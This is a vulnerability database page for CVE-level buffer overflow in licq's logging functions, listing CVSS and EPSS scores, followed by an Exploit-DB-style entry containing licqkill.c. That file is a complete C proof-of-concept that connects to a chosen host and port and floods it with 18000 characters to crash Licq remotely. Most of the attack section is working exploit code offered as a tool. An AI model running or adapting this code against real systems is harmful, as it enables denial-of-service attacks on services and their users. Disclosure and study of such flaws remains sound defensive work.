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Buffer overflow in logging functions of licq before 1.0.3 allows remote attackers to cause a denial of service, and possibly execute arbitrary commands.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
6.79%
–
–
2022-04-03
–
–
6.79%
–
–
2022-05-22
–
–
6.79%
–
–
2023-03-12
–
–
–
5.85%
–
2023-09-17
–
–
–
5.85%
–
2024-06-02
–
–
–
5.85%
–
2024-08-25
–
–
–
5.85%
–
2024-12-22
–
–
–
7.92%
–
2025-01-19
–
–
–
7.92%
–
2025-03-18
–
–
–
–
11.11%
2025-03-18
–
–
–
–
11.11,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2000-12-25 23h00 +00:00 Author : Stan Bubrouski EDB Verified : Yes
// source: https://www.securityfocus.com/bid/2406/info
At least one version of LICQ is vulnerable to a remote buffer overflow. By sending many characters (12000-16000) to the port on which LICQ is listening, an attacker can cause excessive data to be copied onto the stack and overwrite critical parts of the stack frame such as the calling functions' return address. Since this data is supplied by the user it can alter the program's flow of execution.
/*
* Name: Licqkill.c
* Author: Stan Bubrouski <stan@ccs.neu.edu>
* Date: December 26, 2000
* Description: Licq will crash when 16707 or more characters are sent to the port
* Licq is listening on. Finding the port Licq is running on is pretty
* simple because by default it starts using ports around 1100 or so. This
* has been tested against Licq v.85 and v1.0.2
* Purpose: Proof-of-concept tool for the Licq Denial of Service vulnerability.
*/
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
int main(int argc, char **argv)
{
char buf[18000];
int i, sock, result;
struct sockaddr_in sin;
struct hostent *hn;
printf("licqkill.c - Licq remote DoS by Stan Bubrouski <stan@ccs.neu.edu>\n\n");
if (argc < 3)
{
fprintf(stderr, "Usage: %s <host> <port>\n", argv[0]);
exit(-1);
}
hn = gethostbyname(argv[1]);
if (!hn)
{
fprintf(stderr, "%s: host lookup failure\n", argv[1]);
exit(-1);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
sin.sin_addr = *(struct in_addr *)hn->h_addr;
sock = socket(AF_INET, SOCK_STREAM, 0);
result = connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));
if (result != 0)
{
fprintf(stderr, "Failed to establish connection to %s\n", argv[1]);
exit(-1);
}
if (sock < 0)
{
fprintf(stderr, "Socket error.");
exit(-1);
}
for (i=0; i<18000; i++)
strncat(buf, "A", 1);
send(sock, buf, sizeof(buf), 0);
close(sock);
fprintf(stdout, "Data sent\n\n");
}